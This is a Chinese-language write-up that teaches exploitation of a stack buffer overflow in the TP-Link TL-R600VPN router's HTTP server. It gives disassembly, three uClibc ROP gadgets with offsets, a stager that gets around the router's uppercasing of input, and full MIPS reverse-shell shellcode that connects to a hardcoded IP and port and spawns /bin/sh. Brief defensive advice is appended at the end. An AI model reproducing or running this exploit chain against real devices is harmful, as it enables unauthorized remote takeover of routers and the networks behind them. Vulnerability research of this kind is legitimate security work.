TP-Link TL-R600VPN远程执行代码漏洞分析
字数 1052 2025-08-29 08:31:47
TP-Link TL-R600VPN远程执行代码漏洞分析与利用教学
漏洞概述
TP-Link TL-R600VPN是一款五端口小型办公室/家庭(SOHO)路由器,运行在Realtek RTL8198芯片上,使用Lexra开发的MIPS-1架构分支。该设备存在三个关键漏洞,允许经过身份验证的攻击者远程执行代码。
漏洞背景
硬件架构特点
- 使用Lexra MIPS架构,与标准MIPS-1有差异
- 缺少标准MIPS指令:LWL, SWL, LWR, SWR
- 处理未对齐加载/存储操作时有专有指令
受影响版本
- TL-R600VPN 1.3.0版本
漏洞详情
漏洞位置
- 与HTTP服务器处理
/fs/目录请求的方式有关 - 影响路径包括:
/fs/help/fs/images/fs/frames/fs/dynaform/fs/localiztion(注意拼写错误)
漏洞机制
- 在
httpGetMimeTypeByFileName函数中,服务器尝试解析请求页面的文件扩展名以确定mime类型 - 服务器调用
strlen()确定URI长度,然后向后搜索文件扩展名直到遇到句点(0x2e) - 当请求
/fs/目录下的页面时,URI不包含句点,导致继续向后搜索 - 攻击者可利用此行为覆盖堆栈上的返回地址和寄存器
关键代码分析
LOAD:00425CDC loc_425CDC:
LOAD:00425CDC la $t9, strlen
LOAD:00425CE0 sw $zero, 0x38+var_20($sp)
LOAD:00425CE4 jalr $t9 ; strlen
LOAD:00425CE8 sh $zero, 0x38+var_1C($sp)
LOAD:00425CEC addu $s0, $v0
LOAD:00425CF0 li $v0, 0x2E
LOAD:00425CF4 lbu $v1, 0($s0)
LOAD:00425CF8 lw $gp, 0x38+var_28($sp)
LOAD:00425CFC beq $v1, $v0, loc_425D14
LOAD:00425D00 li $v1, 0b101110
漏洞利用限制
toUpper()函数限制
- 所有ASCII字符会被转换为大写
- 阻止使用小写字母(0x61-0x7a)
- 影响shellcode构造
strcmp()限制
- 不能使用空字节(0x00)
漏洞利用技术
绕过toUpper()限制
- 使用不包含小写字母的初始shellcode
- 利用memcpy将原始payload复制到可执行区域
- 跳转到原始payload执行
关键利用代码
move $a0, $t9
addiu $a0, 0x12C
addiu $a1, $s5, 0x198
li $a2, 0x374
li $t9, 0x2AB01E20
jalr $t9
move $t8, $t3
move $t9, $sp
addiu $t9, 0x14C
jalr $t9
move $t8, $t3
ROP链构造
- 第一个gadget (uClibc偏移0x0002fc84):
lw $ra, 0x20+var_8($sp) jr $ra addiu $sp, 0x20 - 第二个gadget (uClibc偏移0x000155b0):
addiu $a1, $sp, 0x58+var_40 lw $gp, 0x58+var_48($sp) sltiu $v0, 1 lw $ra, 0x58+var_8($sp) jr $ra addiu $sp, 0x58 - 第三个gadget (uClibc偏移0x000172fc):
move $t9, $a1 move $a1, $a2 sw $v0, 0x4C($a0) jr $t9 addiu $a0, 0x4C
Lexra MIPS Shellcode开发
套接字创建
li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183
syscall 0x40404
连接设置(避免IP中的空字节)
sw $v0, -36($sp)
lw $a0, -36($sp)
sw $a1, -32($sp)
lui $t7, 8888
ori $t7, $t7, 8888
sw $t7, -28($sp)
lui $t7, 0xc0a7
ori $t7, 0xff63
addiu $t7, 0x101
sw $t7, -26($sp)
addiu $a1, $sp, -30
li $t7, -17
nor $a2, $t7, $zero
li $v0, 4170
syscall 0x40404
文件描述符复制
lw $t7, -32($sp)
lw $a0, -36($sp)
lw $a1, -32($sp)
li $v0, 4063
syscall 0x40404
lw $t7, -32($sp)
lw $a0, -36($sp)
addi $a1, $t7, -1
li $v0, 4063
syscall 0x40404
lw $t7, -32($sp)
lw $a0, -36($sp)
addi $a1, $t7, -2
li $v0, 4063
syscall 0x40404
Shell生成
lui $t7, 0x2f2f
ori $t7, $t7, 0x6269
sw $t7, -20($sp)
lui $t7, 0x6e2f
ori $t7, $t7, 0x7368
sw $t7, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
slti $a2, $zero, -1
li $v0, 4011
syscall 0x40404
防御建议
- 及时更新固件到修补版本
- 限制对管理界面的访问
- 使用强密码保护管理账户
- 监控异常网络活动
总结
该漏洞展示了物联网设备中常见的安全问题,攻击者可以通过精心构造的HTTP请求利用缓冲区溢出漏洞实现远程代码执行。理解此类漏洞的机制对于开发安全产品和进行渗透测试都至关重要。